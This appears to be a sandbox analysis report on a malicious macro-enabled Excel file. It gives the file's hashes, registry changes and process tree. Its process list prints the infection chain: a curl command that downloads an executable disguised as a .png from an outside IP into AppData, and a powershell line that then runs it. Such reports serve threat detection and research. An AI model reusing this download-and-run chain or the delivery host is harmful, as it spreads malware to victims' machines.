Analysis
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max time kernel
148s -
max time network
124s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
21-07-2021 17:35
Behavioral task
behavioral1
Sample
637157-211036-853667.xlsm
Resource
win7v20210410
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
637157-211036-853667.xlsm
Resource
win10v20210408
windows10_x64
0 signatures
0 seconds
General
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Target
637157-211036-853667.xlsm
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Size
140KB
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MD5
a1fc90a0d2d73cb38e96158308a4d984
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SHA1
711c9d1bbc54f1b217fd1816c78b6979e5c52128
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SHA256
5a11b806245bbcf538179ea2805929db01e9df9fc792e577ebe0b1c4694e9a32
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SHA512
58ee83e1efd6171325d9c5d88f18a8492161d7f767e7c0f90d5315f1ac844598ce4d5e0048ecbdc561f3492f8f0044e733f029cd218b1661f909d1a9641db7d4
Score
10/10
Malware Config
Signatures
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Process spawned unexpected child process 2 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.execmd.exedescription pid pid_target process target process Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 240 1756 powershell.exe EXCEL.EXE Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 524 1756 cmd.exe EXCEL.EXE -
Enumerates system info in registry 2 TTPs 1 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
Processes:
EXCEL.EXEdescription ioc process Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 1756 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 240 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 240 powershell.exe -
Suspicious use of SetWindowsHookEx 6 IoCs
Processes:
EXCEL.EXEpid process 1756 EXCEL.EXE 1756 EXCEL.EXE 1756 EXCEL.EXE 1756 EXCEL.EXE 1756 EXCEL.EXE 1756 EXCEL.EXE -
Suspicious use of WriteProcessMemory 8 IoCs
Processes:
EXCEL.EXEdescription pid process target process PID 1756 wrote to memory of 240 1756 EXCEL.EXE powershell.exe PID 1756 wrote to memory of 240 1756 EXCEL.EXE powershell.exe PID 1756 wrote to memory of 240 1756 EXCEL.EXE powershell.exe PID 1756 wrote to memory of 240 1756 EXCEL.EXE powershell.exe PID 1756 wrote to memory of 524 1756 EXCEL.EXE cmd.exe PID 1756 wrote to memory of 524 1756 EXCEL.EXE cmd.exe PID 1756 wrote to memory of 524 1756 EXCEL.EXE cmd.exe PID 1756 wrote to memory of 524 1756 EXCEL.EXE cmd.exe
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\637157-211036-853667.xlsm1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1756 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe start-sleep 10; $x=$env:AppData+'\QyZcY.exe';Invoke-Expression $x2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:240
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C:\Windows\SysWOW64\cmd.execmd /c curl http://151.236.30.123/images/suntogether.png -o %appdata%\QyZcY.exe2⤵
- Process spawned unexpected child process
PID:524
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